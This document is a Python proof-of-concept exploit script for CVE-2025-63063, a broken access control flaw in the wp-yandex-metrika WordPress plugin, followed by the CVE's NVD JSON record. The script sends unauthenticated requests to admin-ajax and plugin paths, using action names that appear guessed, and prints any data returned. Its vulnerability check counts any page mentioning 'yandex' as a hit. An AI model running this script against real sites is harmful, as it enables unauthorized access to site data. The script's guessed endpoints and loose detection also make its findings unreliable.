CVE-2025-63063

# CVE-2025-63063 PoC - WordPress wp-yandex-metrika Broken Access Control # Target: WordPress site with wp-yandex-metrika plugin <= 1.2.2 import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-63063 Missing Authorization in wp-yandex-metrika plugin """ # Common endpoints that might be affected endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=wp-yandex-metrika', '/wp-content/plugins/wp-yandex-metrika/includes/', ] vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check if we can access admin pages without authentication if response.status_code == 200: # Check for sensitive data exposure if 'yandex' in response.text.lower() or 'metrica' in response.text.lower(): print(f'[+] Potentially vulnerable endpoint found: {url}') print(f'[+] Status code: {response.status_code}') vulnerable = True except requests.RequestException as e: print(f'[-] Error checking {url}: {str(e)}') return vulnerable def exploit_unauthorized_access(target_url): """ Attempt to exploit the missing authorization vulnerability to access protected data without authentication """ # Try to access plugin's data collection endpoints exploit_paths = [ '/wp-admin/admin-ajax.php?action=wp_yandex_metrika_get_data', '/wp-admin/admin-ajax.php?action=ym_get_stats', ] for path in exploit_paths: url = target_url.rstrip('/') + path try: # Send request without authentication cookies response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f'[+] Exploitable endpoint: {url}') print(f'[+] Response preview: {response.text[:500]}') return True except requests.RequestException: pass return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-63063.py <target_url>') print('Example: python cve-2025-63063.py http://example.com') sys.exit(1) target = sys.argv[1] print(f'[*] Scanning target: {target}') print(f'[*] CVE-2025-63063 - wp-yandex-metrika Missing Authorization') if check_vulnerability(target): print('[!] Target appears to be vulnerable!') print('[*] Attempting exploitation...') if exploit_unauthorized_access(target): print('[+] Vulnerability confirmed!') else: print('[-] Exploitation attempt completed') else: print('[-] Target does not appear to be vulnerable')

{"cve": {"id": "CVE-2025-63063", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:11.900", "lastModified": "2026-04-27T19:16:20.490", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Yandex Metrika Yandex.Metrica wp-yandex-metrika allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Yandex.Metrica: from n/a through <= 1.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-yandex-metrika/vulnerability/wordpress-yandex-metrica-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}